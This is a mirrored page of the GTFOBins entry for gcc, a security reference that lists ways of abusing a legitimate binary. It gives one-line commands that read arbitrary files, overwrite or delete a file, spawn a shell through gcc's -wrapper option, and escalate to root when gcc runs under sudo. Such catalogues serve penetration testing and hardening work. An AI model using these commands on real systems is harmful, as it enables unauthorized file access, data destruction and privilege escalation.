This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-02 17:58:43 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
3dc961c0c9945f11c098eaa0ae377c505cddb9fd
GTFOBins.github.io
/
_gtfobins
/
gcc.md
Pranav
0eefa2a716
Update gcc for file-read
...
Co-authored-by: Andrea Cardaci <
cyrus.and@gmail.com
>
2022-12-16 17:51:53 +01:00
572 B
Raw
Blame
History
functions
functions
file-read
file-write
shell
sudo
code
LFILE=file_to_read gcc -x c -E "$LFILE"
description
code
The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data.
LFILE=file_to_read gcc @"$LFILE"
code
LFILE=file_to_delete gcc -xc /dev/null -o $LFILE
code
gcc -wrapper /bin/sh,-s .
code
sudo gcc -wrapper /bin/sh,-s .
Reference in New Issue
View Git Blame
Copy Permalink